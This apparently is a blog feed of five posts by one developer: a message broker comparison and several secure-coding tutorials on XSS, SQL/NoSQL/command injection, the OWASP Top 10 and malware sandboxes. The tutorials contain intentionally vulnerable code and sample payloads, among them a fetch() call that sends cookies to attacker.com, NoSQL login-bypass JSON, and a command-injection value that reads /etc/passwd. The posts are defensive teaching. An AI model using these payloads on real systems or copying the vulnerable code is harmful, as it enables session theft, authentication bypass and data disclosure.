DEV Community: Mahdi SHamlou | مهدی شاملو

Message Brokers Comparison 2026 — Kafka, RabbitMQ, NATS & Redis Streams: Which One Should You Choose?

Mahdi SHamlou | مهدی شاملو — Thu, 28 May 2026 13:53:26 +0000

if you’ve read my OWASP Top 10 or SQL/NoSQL injection articles, you know I take reliability and security seriously. If you’ve seen my durable workflow engines post, you know I care about building systems that don’t fall apart under real-world conditions.

Today, we’re tackling a question that comes up in every serious backend discussion:

Which message broker should I use in 2026?

I’ve seen countless debates online:

“Kafka is always better.”
“RabbitMQ is outdated.”
“NATS is insanely fast.”
“Just use Redis.”

But most comparisons are either outdated, overly biased, or written without real engineering tradeoffs.

So I decided to make a fresh, practical comparison for software engineers in 2026.

Let’s dive in.

What Is a Message Broker?

A message broker helps different services talk to each other.

For example, instead of this:

payment_service.process_order(order)

you send a message:

broker.publish("order.created", order)

Then another service reads that message and does the work.

This helps us build systems that are:

More scalable
Easier to manage
More reliable
Better for background jobs

Message brokers are useful for:

Microservices
Notifications
Payment systems
Background tasks
Event-driven systems
Real-time systems

Today I want to compare these options:

Kafka
RabbitMQ
NATS
Redis Streams

1. Kafka

Kafka is one of the most popular message brokers.

Big companies like LinkedIn, Uber, and Netflix use it for handling a huge amount of data.

Kafka is very powerful and works well for large systems.

How it works

Kafka stores messages inside something called topics.

Messages stay there for some time, even after consumers read them.

This means you can:

Read messages again
Replay events
Save system history
Process a lot of data

Pros

Very scalable
High performance
Good for large systems
Can replay old messages
Strong reliability

Cons

Harder to learn
More setup and infrastructure
Too much for small projects

Best for

Large systems
Analytics
Event-driven architecture
High traffic systems

2. RabbitMQ

RabbitMQ is one of the oldest and most trusted message brokers.

Many developers use it because it is easier than Kafka and works very well for business systems.

How it works

RabbitMQ sends messages into queues.

Consumers read the messages and confirm when the job is finished.

RabbitMQ supports:

Retry
Delayed messages
Priority queues
Different routing methods

Pros

Easy to understand
Reliable
Good retry support
Mature and stable
Easier than Kafka

Cons

Not the best for very high scale
Message replay is weaker than Kafka

Best for

Payment systems
Notifications
Background jobs
Business applications

3. NATS

NATS is lightweight, simple, and very fast.

Many cloud-native systems use NATS because it is easy to run and gives very good performance.

How it works

NATS uses a publish/subscribe model.

Services send messages, and other services receive them.

With JetStream, NATS also supports persistence and better durability.

Pros

Very fast
Lightweight
Easy setup
Good for cloud systems

Cons

Smaller ecosystem than Kafka
Fewer features compared to RabbitMQ and Kafka

Best for

Real-time systems
Internal service communication
Cloud applications
Fast microservices

4. Redis Streams

Many developers already use Redis.

But some people forget that Redis can also work as a message broker.

Redis Streams is simple and useful for many systems.

How it works

Redis stores messages in streams.

Consumers can read messages in groups and process them.

It supports:

Persistence
Retry
Consumer groups

Pros

Easy to start
Simple setup
Good if you already use Redis
No extra infrastructure

Cons

Not good for very large systems
Fewer advanced features

Best for

Small and medium projects
Background jobs
Existing Redis projects

Quick Comparison

Feature	Kafka	RabbitMQ	NATS	Redis Streams
Speed	High	Medium	Very High	High
Easy Setup	No	Medium	Yes	Yes
Scalability	Very High	Good	High	Medium
Reliability	Strong	Strong	Good	Good
Learning Curve	Hard	Medium	Easy	Easy

My Take: Which One Should You Use?

For most teams, I think this is a good choice:

Start with RabbitMQ or NATS

If you want reliability and good features:

RabbitMQ

If you want speed and simplicity:

NATS

Use Redis Streams if you already use Redis. Sometimes you do not need another service. Redis Streams can be enough for many projects.

Use Kafka when your system becomes bigger. Kafka is powerful. But many teams start using Kafka too early. If your project is small or medium size, Kafka may add extra complexity.

Use Kafka if you need:

Very high scale
Event replay
Analytics systems
Large distributed systems

Final Thoughts

There is no perfect message broker. Every tool has advantages and disadvantages. Choose based on your project needs.

My simple suggestion:

RabbitMQ → business systems
NATS → fast modern systems
Redis Streams → simple projects
Kafka → large systems

Want More?

If you enjoyed this deep dive check out my other articles:

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026) — xss story.
Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

XSS Attacks Are Everywhere: Reflected, Stored, DOM-Based — How to Actually Fix Them (2026)

Mahdi SHamlou | مهدی شاملو — Thu, 28 May 2026 12:54:19 +0000

Mahdi Shamlou here.

Mahdi, okay fine — you got me with NoSQL injection last time ( read that story here ). But my site is definitely safe from XSS now. I sanitize all inputs on the backend in Go, I use strict validation, and I even have a WAF. It's impossible to hack.

I smiled. Then I asked for his URL — again.

Within 3 minutes, I popped an alert(document.cookie) on his profile page. Then I upgraded it to silently exfiltrate his session token to my server. His face went pale. Again.

Moral of the story: "I sanitize input on the backend" does NOT mean "I'm XSS-proof". XSS isn't about input — it's about output. If you render untrusted data into HTML, JavaScript, CSS, or URLs without proper context-aware encoding, you're vulnerable — no matter your stack, no matter your sanitization.

In this guide, I'll show you:

How I stole my friend's session with a 1-line XSS payload (and how to fix it in Go/Gin)
The 3 main XSS types — with real Go (Gin) code examples
Why even careful backend sanitization can fail against DOM-based XSS
Content Security Policy, DOMPurify, and Trusted Types — what actually works
Actual Go code fixes + tools to find these bugs automatically

Let's dive in.
🔗 Missed the NoSQL injection takedown? Read it here:
➡️ Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them

What Is XSS, Really?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.

The browser executes the code as if it came from the trusted site itself — because technically, it did. The root cause? Untrusted data is rendered into the page without proper encoding or sanitization.

XSS isn't about "hacking the server". It's about hacking the user's browser — and using that trust to steal cookies, redirect users, log keystrokes, or even take over accounts.

OWASP ranks XSS as a permanent member of the Top 10 (A03 in 2026, but historically A07). And it’s still everywhere — even on sites with “strict backend validation”.

Let’s break down the three flavours using only Go/Gin.

The 3 Main XSS Types (With Go/Gin Examples)

Reflected XSS — The “Click This Link” Attack

How it happens:
User input is immediately reflected back in the server’s response without encoding. Attackers craft a malicious link and trick victims into clicking it.

Vulnerable Go (Gin) code:

package main

import "github.com/gin-gonic/gin"

func main() {
    r := gin.Default()
    r.GET("/search", func(c *gin.Context) {
        q := c.Query("q")
        // 🚨 DANGER: raw string concatenation into HTML
        html := "<h1>Search results for: " + q + "</h1>"
        c.Data(200, "text/html", []byte(html))
    })
    r.Run()
}

Attacker payload:

/search?q=fetch('<a href="https://attacker.com/steal?cookie='+document.cookie">https://attacker.com/steal?cookie='+document.cookie</a>)

Result:

The victim’s browser executes the script and sends their session cookie to the attacker.

Fix — Use Gin’s template engine (auto‑escaping):


r.GET("/search-safe", func(c *gin.Context) {
    q := c.Query("q")
    // templates/search.tmpl: <h1>Search results for: {{ .Q }}</h1>
    c.HTML(200, "search.tmpl", gin.H{"Q": q})
})

Go’s html/template automatically escapes &, <, >, ', " and is context‑aware.

Stored XSS — The Silent Killer

How it happens:
Malicious input is saved in the database and later displayed to other users. Think comment sections, user profiles, or forum posts.

Vulnerable Go (Gin + MongoDB) code:

r.POST("/comment", func(c *gin.Context) {
    var cmt struct{ Username, Text string }
    c.BindJSON(&cmt)
    db.Collection("comments").InsertOne(ctx, cmt) // stored raw
})

r.GET("/comments", func(c *gin.Context) {
    var comments []struct{ Username, Text string }
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    html := "<ul>"
    for _, cmt := range comments {
        // 🚨 dangerous concatenation
        html += "<li><b>" + cmt.Username + "</b>: " + cmt.Text + "</li>"
    }
    html += "</ul>"
    c.Data(200, "text/html", []byte(html))
})

Attacker posts:

{ "username": "hacker", "text": "alert('XSS')" }
Every visitor to /comments gets the payload executed.

Fix — Encode on output using Go templates:

// comments.tmpl:
// <ul>{{range .}}<li><b>{{.Username}}</b>: {{.Text}}</li>{{end}}</ul>

r.GET("/comments-safe", func(c *gin.Context) {
    var comments []Comment
    db.Collection("comments").Find(ctx, bson.M{}).All(&comments)
    c.HTML(200, "comments.tmpl", gin.H{"Comments": comments})
})

Key lesson: Stored XSS proves that “sanitizing input on the backend” is a myth. You must encode on output, based on the context (HTML, attribute, JavaScript, etc.).

DOM‑Based XSS — The Frontend Betrayal

How it happens:
The vulnerability exists entirely in client‑side JavaScript. The server may be completely innocent — it sends safe HTML, but the frontend code unsafely manipulates the DOM using attacker‑controlled data (like location.hash or URL parameters).

Vulnerable Go/Gin serving an HTML file:


r.Static("/static", "./static")
r.GET("/profile", func(c *gin.Context) {
    c.HTML(200, "profile.tmpl", nil)
})

And inside profile.tmpl (no backend sanitisation can help here):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // 🚨 dangerous innerHTML
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
</script>

Attacker payload:

/profile?name=

Fix — Use safe DOM APIs (still inside Go template):


<script>
    let name = new URLSearchParams(location.search).get('name');
    // ✅ use textContent
    document.getElementById('welcome').textContent = 'Hello, ' + name;
</script>

Or sanitise with DOMPurify (add the library in your static files):

<script src="/static/purify.min.js"></script>
<script>
    let name = new URLSearchParams(location.search).get('name');
    let clean = DOMPurify.sanitize(name, {ALLOWED_TAGS: []});
    document.getElementById('welcome').innerHTML = clean;
</script>

DOM‑based XSS is why scanning your frontend code for innerHTML, document.write, or eval() is critical. No amount of server‑side filtering can stop it.

Why “Backend Sanitization” Fails

My friend in the story used Go, strict validation, and a WAF. But DOM‑based XSS bypassed all of it.

The only reliable prevention:

Context‑aware output encoding on the rendering layer (HTML, JS, URL, CSS), plus a Content Security Policy (CSP) as a second line of defence.

Content Security Policy (CSP) + Trusted Types — Your Safety Net

Even if an XSS bug exists, CSP can block the malicious script from executing. And Trusted Types makes it impossible to write unsafe DOM injection code in the first place — a type‑safe approach to XSS prevention.

Set CSP Header in Gin Middleware

func CSP() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("Content-Security-Policy", 
            "default-src 'self'; " +
            "script-src 'nonce-abc123' 'strict-dynamic'; " +
            "require-trusted-types-for 'script'; " +
            "trusted-types myPolicy")
        c.Next()
    }
}

r.Use(CSP())

What this CSP does:

default-src 'self' – only allow resources from the same origin.
script-src 'nonce-abc123' 'strict-dynamic' – only execute scripts with a matching nonce (prevents inline script injection).
require-trusted-types-for 'script' – enforces Trusted Types: the browser will reject any string passed to an injection sink (innerHTML, outerHTML, document.write, etc.).
trusted-types myPolicy – allows only policies named myPolicy to create trusted HTML.

Trusted Types — Type‑Safe DOM Injection

With Trusted Types enabled, this code throws an error:

// 🚨 Browser blocks this (TypeError)
element.innerHTML = userInput;

Instead, you must create a trusted type using a policy:

// Create a policy (once, usually in your main.js)
const policy = trustedTypes.createPolicy('myPolicy', {
    createHTML: (input) => {
        // Sanitize or safely encode here
        return DOMPurify.sanitize(input);
    }
});

// ✅ Safe: browser accepts because it's a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);

Why Trusted Types wins:

Type safety – the browser enforces that only trusted objects reach dangerous functions.
No forgetting – you can’t accidentally write innerHTML = x without a policy.
Backwards compatible – unsupported browsers ignore the header.

Hands‑On Practice (Don’t Just Read)

PortSwigger XSS Labs — Reflected, Stored, DOM, and advanced bypasses.
OWASP Juice Shop — XSS challenges in a realistic web app.
XSS Game (Google) — Six fun levels for beginners.

Remember: Use isolated Docker or VMs for testing. XSS payloads can still be destructive (e.g., stealing cookies, defacing pages).

Want More?

If you enjoyed this deep dive into XSS, check out my other articles:

Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them — The story that started it all.
OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes. — Full list with code
What Is a Sandbox? How to Safely Run Any Unknown .exe — Essential for security testing.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them (2026)

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 10:03:53 +0000

Mahdi Shamlou here.

“Mahdi, I finally launched my e‑commerce site. And don’t worry — I used MongoDB, so no SQL injection. You can’t hack it.”

I laughed. Then I asked him to let me try.

Within 10 minutes, I bypassed his login with a NoSQL injection and pulled out his entire user collection. His face went pale.

Moral of the story: “No SQL” does NOT mean “no injection”. Injection is a whole class of attacks — SQL, NoSQL, ORM, command, LDAP, you name it. If you concatenate user input into any kind of query or system command, you’re likely vulnerable.

In this guide, I’ll show you:

How I hacked my friend’s NoSQL login (and how to fix it).
Classic SQL injection — still alive and well.
How even an ORM like SQLAlchemy can betray you if you misuse it.
Command injection that gives attackers a shell on your server.
Actual code fixes + tools to find these bugs automatically.

Let’s dive in.

The Story: “But I Use NoSQL! (And Why That’s Not Enough)

My friend’s site had a simple login form like this:


// Node.js + Express + MongoDB
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  db.collection('users').findOne({
    username: username,
    password: password
  }, (err, user) => {
    if (user) res.send('Logged in');
    else res.send('Invalid credentials');
  });
});

He thought: “No SQL strings, no injection.

I sent this JSON as the username:


{ "username": { "$ne": null }, "password": { "$ne": null } }

MongoDB interpreter turned it into:


db.users.findOne({
  username: { $ne: null },
  password: { $ne: null }
})

That returns the first user — no password check needed. I was in.

Lesson: Any system that interprets user input as a command (SQL, JavaScript, shell, etc.) can be injected. NoSQL is no exception.

A03: Injection (The Unified Monster)

OWASP ranks Injection as #3 in 2026 (and #1 in many earlier lists). The root cause is the same:

Untrusted data is sent to an interpreter as part of a command or query.

Check this : OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities

We’ll cover the most dangerous flavours.

1. SQL Injection — The Old King

Still #1 in bug bounties.
Vulnerable Code (Python/Flask)


@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    query = f"SELECT * FROM users WHERE id = {user_id}"   # 😱
    cursor.execute(query)
    return cursor.fetchone()

Input: ?id=1 UNION SELECT username, password FROM admins --
The Fix — Parameterized Queries


@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    # Or use an ORM (correctly!)

Tool: sqlmap — automated detection and exploitation.

2. NoSQL Injection — The Modern Trap

MongoDB, CouchDB, etc. are vulnerable when you pass user input directly into query objects.

Vulnerable (Node.js + Mongoose)

User.findOne({ email: req.body.email, password: req.body.password });

Attackers send:

{ "email": { "$regex": ".*" }, "password": { "$ne": "" } }

That matches any email and a non‑empty password → login bypass.

Even worse: $where clauses execute JavaScript.

// Vulnerable
User.find({ $where: `this.name == '${req.body.name}'` });
// Attacker: 'a'; sleep(5000); //

The Fix — Schema Validation + Type Casting


// Use Mongoose schemas with required types
const userSchema = new Schema({
  email: { type: String, required: true },
  password: { type: String, required: true }
});

// And sanitize operators
function sanitizeNoSQL(obj) {
  if (typeof obj !== 'object') return obj;
  const unsafe = ['$where', '$ne', '$gt', '$regex', '$expr'];
  for (let key of unsafe) if (key in obj) delete obj[key];
  return obj;
}

// Then use it
const query = sanitizeNoSQL(req.body);
User.findOne(query);

Better yet: use an allowlist for fields and reject any input with $ or { operators.

Tool: NoSQLMap — automated NoSQL injection

3. ORM Injection — Yes, Even SQLAlchemy

ORMs (SQLAlchemy, Hibernate, Entity Framework) protect you if you use them correctly. But as soon as you write raw SQL or use unsafe methods, you’re back to square one.

Vulnerable SQLAlchemy (Python)

from sqlalchemy import text

@app.route('/search')
def search():
    keyword = request.args.get('q')
    query = text(f"SELECT * FROM products WHERE name LIKE '%{keyword}%'")
    results = db.session.execute(query)
    # Ouch — raw string concatenation inside text()

Attacker: ?q=' OR '1'='1' UNION SELECT ...

Fix — Use ORM Parameters or Bind Variables

# Method 1: ORM safe filtering
from sqlalchemy import or_
products = Product.query.filter(Product.name.ilike(f"%{keyword}%")).all()

# Method 2: If you must use raw SQL, use bind params
query = text("SELECT * FROM products WHERE name LIKE :kw")
results = db.session.execute(query, {"kw": f"%{keyword}%"})

Rule: Never use text() with f‑strings or string concatenation. Always pass parameters as a dict or tuple.

Tool: SQLAlchemy’s own logging — watch for generated queries with suspicious input.

4. Command Injection — Full Server Takeover

When your app calls operating system commands with user input, the attacker can run any command.
Vulnerable (Python)

import subprocess

@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    result = subprocess.check_output(f"ping -c 4 {ip}", shell=True)
    return result

Attacker: ?ip=8.8.8.8; cat /etc/passwd
Fix — Use Native APIs, Avoid Shell=True

import shlex

@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    # Allowlist allowed characters
    if not re.match(r'^[\d\.]+$', ip):
        abort(400)
    # Use list form + no shell
    result = subprocess.check_output(["ping", "-c", "4", ip])
    return result

Even better: Don’t call system commands at all — use native network libraries (e.g., ping3 for Python).

Tool: Commix — automated command injection.

Injection Prevention — A Unified Checklist

Injection Type	Prevention Strategy
SQL	Parameterized queries / prepared statements (never concatenation).
NoSQL	Validate input types, reject operator keys (`$`), use schema validation.
ORM	Avoid raw SQL; use ORM’s safe methods; parameterize any `text()` call.
Command	Use native APIs, avoid `shell=True`, allowlist inputs.
LDAP	Escape special characters (`*`, `(`, `)`, `\`).
XML/XPath	Disable external entities, use hard‑coded XPaths.

Universal Rules

Treat all user input as dangerous.
Use allowlists (e.g., re.match(r'^[a-z0-9]+$', input)).
Prefer safe APIs — ORMs, parameterised queries, native libraries.
Never trust “I don’t use SQL” — injection is about interpreters, not just SQL.

Tools to Find Injection Flaws Automatically

Run these before an attacker does:

sqlmap — SQL injection detection & exploitation.
NoSQLMap — NoSQL injection (MongoDB, CouchDB).
Commix — Command injection.
Burp Suite Scanner — All kinds of injection (paid but worth it).
OWASP ZAP — Free, includes injection tests.
Semgrep or CodeQL — Find injection patterns in your source code.

Hands‑On Practice (Don’t Just Read)

You learn injection by doing it (safely).

PortSwigger NoSQL injection labs
OWASP Juice Shop — has both SQL and NoSQL challenges.
TryHackMe – Injection room

Remember my sandbox advice from last article: Run all vulnerable apps inside isolated VMs or Docker containers. Even your own testing can go wrong.

Want More?

If you enjoyed this deep dive into injection attacks, check out:

OWASP Top 10 for Developers (2026 Edition) — full list with fixes.
What Is a Sandbox? How to Safely Run Any Unknown .exe — dynamic malware analysis.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 09:27:12 +0000

Hi, Mahdi Shamlou here. In my last article (What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe), you learned how to safely detonate an unknown .exe in a sandbox. That’s reactive security — analyzing malware after it exists.

But what if you could prevent most attacks before they ever reach your server? That’s where OWASP comes in.

In this guide, I’ll walk you through the OWASP Top 10 for 2026 — but not as a boring list. I’ll show you:

What each vulnerability actually means for your code.
A real vulnerable code snippet (and how to fix it).
Which tools you can use to find these bugs automatically.

By the end, you’ll have a security checklist you can apply to your next web app.

What Is OWASP? (And Why You, as a Developer, Should Care)

OWASP = Open Web Application Security Project. It’s a non‑profit community that produces free, world‑class security guidance.

The most famous is the OWASP Top 10 — a ranked list of the most critical web security risks. It’s updated every few years to reflect real‑world attack data. The 2026 edition (which builds on the 2021 version) remains the must‑know list for any web developer.

Why should you care? Because:

75% of web apps have at least one Top 10 vulnerability.
Fixing a bug in production costs 30x more than catching it in coding.
Security is now a shared responsibility — developers can’t just throw code over the wall to a “security team”.

So let’s dive in. I’ll present each risk, show you a bad code example, and then give you the secure version.

A01: Broken Access Control

What it is: Users can see or edit data they’re not supposed to. For example, a normal user changing their ?user_id=123 to ?user_id=124 and seeing someone else’s profile.

Vulnerable code (Flask):

@app.route('/profile')
def profile():
    user_id = request.args.get('user_id')
    # No check if logged-in user owns this ID
    user = db.query(f"SELECT * FROM users WHERE id = {user_id}")
    return render_template('profile.html', user=user)

Fix — enforce server‑side access control:

@app.route('/profile')
@login_required
def profile():
    # Only allow access to the currently logged-in user's own profile
    user_id = current_user.id   # from session, not from request
    user = db.query("SELECT * FROM users WHERE id = %s", (user_id,))
    return render_template('profile.html', user=user)

Tool to catch this: OWASP ZAP or Burp Suite — try changing ID parameters manually.

A02: Cryptographic Failures

What it is: Sensitive data (passwords, credit cards) transmitted or stored without proper encryption. That includes using old algorithms like MD5 or SHA‑1.

Vulnerable code:

# Storing password in plain text? Ouch.
user.password = request.form['password']

# Or using MD5 (crackable in seconds)
import hashlib
hashlib.md5(password.encode()).hexdigest()

Fix — use strong, adaptive hashing (bcrypt, Argon2):

from bcrypt import hashpw, gensalt

hashed = hashpw(request.form['password'].encode(), gensalt())
# Store 'hashed' in DB.
# Also enforce HTTPS everywhere – use HSTS header.

Tool: sslscan for HTTPS config, hashcat to test weak password hashes.

A03: Injection (SQL, NoSQL, OS Command, LDAP…)

What it is: Attacker sends malicious input that gets interpreted as a command. Classic example: ' OR '1'='1 logging you in without a password.

Vulnerable code (string concatenation):

username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
# Input: username = "admin' --" -> bypasses password check!

Fix — use parameterized queries / ORM:

cursor.execute(
    "SELECT * FROM users WHERE name = %s AND pass = %s",
    (username, password)
)

# Or use an ORM like SQLAlchemy which escapes automatically.

Tool: sqlmap (automated detection) or Burp Scanner.

A04: Insecure Design

What it is: Flaws in the architecture or workflow — not a single line of code, but a design that makes security impossible. Example: a password reset that sends the new password by email (in plain text).

Vulnerable design:
“Forgot password” emails your current password in plain text. That means the system stored it reversibly — huge risk.

Fix — design with security in mind:

Never store passwords reversibly.
Password reset should send a time‑limited token (not a new password).
Use threat modeling (e.g., STRIDE) before writing code.

Tool: OWASP Threat Dragon for threat modeling diagrams.

A05: Security Misconfiguration

What it is: Default passwords, verbose error messages, unnecessary features enabled, missing security headers.

Vulnerable example (Flask debug mode in production):

app.run(debug=True)   # Shows full stack traces to attackers – exposes code!

Fix — secure configuration:

# Use environment variables
import os
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() == 'true'
app.run(debug=debug_mode)

And add security headers:

@app.after_request
def add_security_headers(resp):
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['X-Frame-Options'] = 'DENY'
    resp.headers['Strict-Transport-Security'] = 'max-age=31536000'
    return resp

Tool: Nmap scripts for misconfig, OWASP ZAP passive scanner.

A06: Vulnerable and Outdated Components

What it is: You use a library like lodash or Flask with a known CVE (Common Vulnerability). Attackers scan for these.
Download the Medium app

Vulnerable scenario:
Your requirements.txt has Flask==1.0.2 (released 2018 – many security fixes since). An attacker finds a public exploit for older Flask.

Fix — keep dependencies updated:

Run pip list --outdated regularly.
Use Dependabot (GitHub) or Snyk to auto‑open PRs.
Before installing a new package, check npm audit or safety check.

Tool: OWASP Dependency-Check (free, scans for known vulnerabilities).

A07: Identification and Authentication Failures

What it is: Weak session management, no MFA, credential stuffing vulnerabilities, or session IDs in URLs.

Vulnerable code (session in URL):

# http://example.com/profile?session_id=abc123
# Attacker steals this link – now they're logged in as you.

Fix — use framework session management (secure flags):

app.config.update(
    SESSION_COOKIE_SECURE=True,   # only over HTTPS
    SESSION_COOKIE_HTTPONLY=True, # no JavaScript access
    SESSION_COOKIE_SAMESITE='Lax'
)
# Never put session in URL.

Also enforce rate limiting on login attempts and offer MFA.

Tool: hydra or ffuf for brute‑force testing.

A08: Software and Data Integrity Failures

What it is: You trust software or data from an untrusted source without verifying integrity. For example, downloading a dependency over HTTP (not HTTPS) or deserializing untrusted data.

Vulnerable example (pickle deserialization in Python):

import pickle
data = request.form['user_data']
obj = pickle.loads(data)  # Can execute arbitrary code!

Fix — avoid pickle on untrusted input, use JSON with schema validation:


import json
try:
    obj = json.loads(data)
    if not isinstance(obj, dict) or 'name' not in obj:
        raise ValueError
except (json.JSONDecodeError, ValueError):
    abort(400)

And pin dependency hashes (using pipenv or poetry) to prevent supply chain attacks.

Tool: in-toto or Sigstore for integrity verification.

A09: Security Logging and Monitoring Failures

What it is: You don’t log attacks, or you log sensitive data, or you never monitor logs. So you only discover a breach months later (if ever).

Vulnerable — no logging:

@app.route('/login')
def login():
    # user logs in – but no record of failed attempts
    ...

Fix — log security‑relevant events:

import logging
logging.basicConfig(level=logging.INFO)

@app.route('/login')
def login():
    if login_failed:
        logging.warning(f"Failed login attempt for {username} from {request.remote_addr}")
    else:
        logging.info(f"Successful login for {username}")

Don’t log passwords or session tokens. Send logs to a central system (ELK, Splunk) and set up alerts for multiple failures.

Tool: OWASP AppSensor — defines detection points.

A10: Server‑Side Request Forgery (SSRF)

What it is: Attacker makes your server send requests to internal systems (like http://localhost:8080/admin or AWS metadata endpoint 169.254.169.254).

Vulnerable code (fetching a user‑supplied URL):

import requests
url = request.args.get('webhook')
response = requests.get(url)   # Can hit internal services!

Fix — allowlist allowed domains / IPs:

from urllib.parse import urlparse

allowed_hosts = ['api.example.com', 'trusted-service.com']
parsed = urlparse(url)
if parsed.hostname not in allowed_hosts:
    abort(400)
response = requests.get(url, timeout=5)

Better: use a separate internal firewall and disable HTTP redirects.

Tool: SSRFmap (automated exploitation tool).

How to Test Yourself (Hands‑On)

Reading about vulnerabilities isn’t enough — you need to practice.

I recommend these free, safe environments:

PortSwigger Web Security Academy — free labs for every OWASP Top 10 category.
OWASP Juice Shop — an intentionally vulnerable web app you can run locally (in Docker) and hack.
TryHackMe or HackTheBox — beginner rooms for web security.

And remember the sandbox principle from my last article: always run unknown code or vulnerable apps inside isolated VMs (VirtualBox, VMware) or Docker containers. That way, even if you intentionally exploit a vulnerability, your main machine stays safe.

Want More?

If you enjoyed this practical security guide, you might also like:

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 09:00:43 +0000

Hi, Mahdi Shamlou here. In this guide, I explain how malware analysis sandboxes work — from isolating an unknown .exe in a virtual machine to hooking Windows APIs and generating a behavior report. I also cover open‑source tools like Cuckoo and CAPE so you can safely detonate suspicious files without risking your real PC.

You just downloaded a free PDF converter from a random forum. It’s an .exe file. The website looked legit, but... you're not 100% sure. You want to see what this program actually does when it runs. But running it directly on your own PC could cost you everything.

What you need is a sandbox.

In this article, I’ll explain what a sandbox is, why you need one, and exactly how it works behind the scenes to analyze an unknown executable and give you a full report.

What Exactly Is a Sandbox?

In cybersecurity, a sandbox is a security mechanism for separating running programs. It is often used to execute untested code, or untrusted programs from unverified third-parties, suppliers, untrusted users and untrusted websites.

Think of it as a controlled, isolated environment where you can execute a suspicious file or piece of code without risking harm to your real operating system or personal files. It’s your digital quarantine zone where you can safely “detonate” a suspicious program to see what it does.

Where Do We Use a Sandbox?

The primary use case, and the one we’re focusing on today, is malware analysis:

To run and test an unknown .exe file: When you have a potentially malicious executable, you don’t want to run it on your main machine. A sandbox provides the safe, isolated space to execute it, observe its behavior, and determine if it’s harmful.

Security professionals use sandboxes to analyze suspicious objects in a Virtual Machine (VM) with a fully-featured operating system, detecting the object’s malicious activity by analyzing its behavior. This is known as dynamic analysis: instead of just looking at the file’s code (static analysis), you run the code and monitor its actions in real-time.

How a Malware Analysis Sandbox Works

The process for analyzing an unknown .exe generally follows this straightforward workflow:

1. You Submit the Input File. You, the user, give the sandbox the suspicious .exe file as the input.

2. The Sandbox Isolates the File in a Virtual Machine (VM). The sandbox system moves the file into a secure, isolated virtual machine environment. This is the “blast-proof chamber” where the analysis will take place. For each analysis, a fresh and isolated virtual machine can be launched to ensure nothing from a previous test contaminates the current one.

3. The Analysis Begins (The File Is Executed). The sandbox automatically runs (or detonates) the suspicious file inside this safe environment.

4. The Sandbox Analyzes Its Behavior. While the unknown executable runs, the sandbox meticulously monitors all of its system-level activity. It’s watching for:

File System Changes: What files or folders does it create, modify, or delete?
Process Creations: Does it try to launch other hidden processes?
Registry Modifications (on Windows): Does it change critical system settings for persistence?
Network Traffic: Does it try to “phone home” to a command-and-control server?

You Get the Results. After the analysis finishes, the sandbox compiles everything it observed into a detailed report for you. You can then review the report to determine if the file is malicious and understand exactly what it would have tried to do on your real system.

How Sandboxes Hook APIs

So, how does a sandbox actually see everything a program is doing? This is the technical secret.

When a running program wants to perform any action on your computer — like opening a file (CreateFile), sending data over the network, or creating a new process it makes a request to the Windows API. A malware analysis sandbox intercepts these requests using a technique called API hooking.

It works like this: the sandbox injects a small piece of code (a “hook”) into the program’s memory. This hook effectively reroutes the program’s API calls. When the suspicious program calls CreateFile to open a file, it doesn't go directly to the operating system. Instead, it is intercepted and redirected to the sandbox's own monitoring function. The sandbox logs all the details (e.g., a request to open "C:\Users\Admin\Documents\passwords.txt") and then, for true stealth analysis, passes the original call along to the real operating system so the malware's execution is not blocked. This allows the sandbox to see literally every single interaction the malware has with the operating system.

Open-Source Sandboxes: Cuckoo and CAPE

If you want to try this yourself, open-source tools are the way to go. Two of the most powerful and well-known platforms are Cuckoo and CAPE.

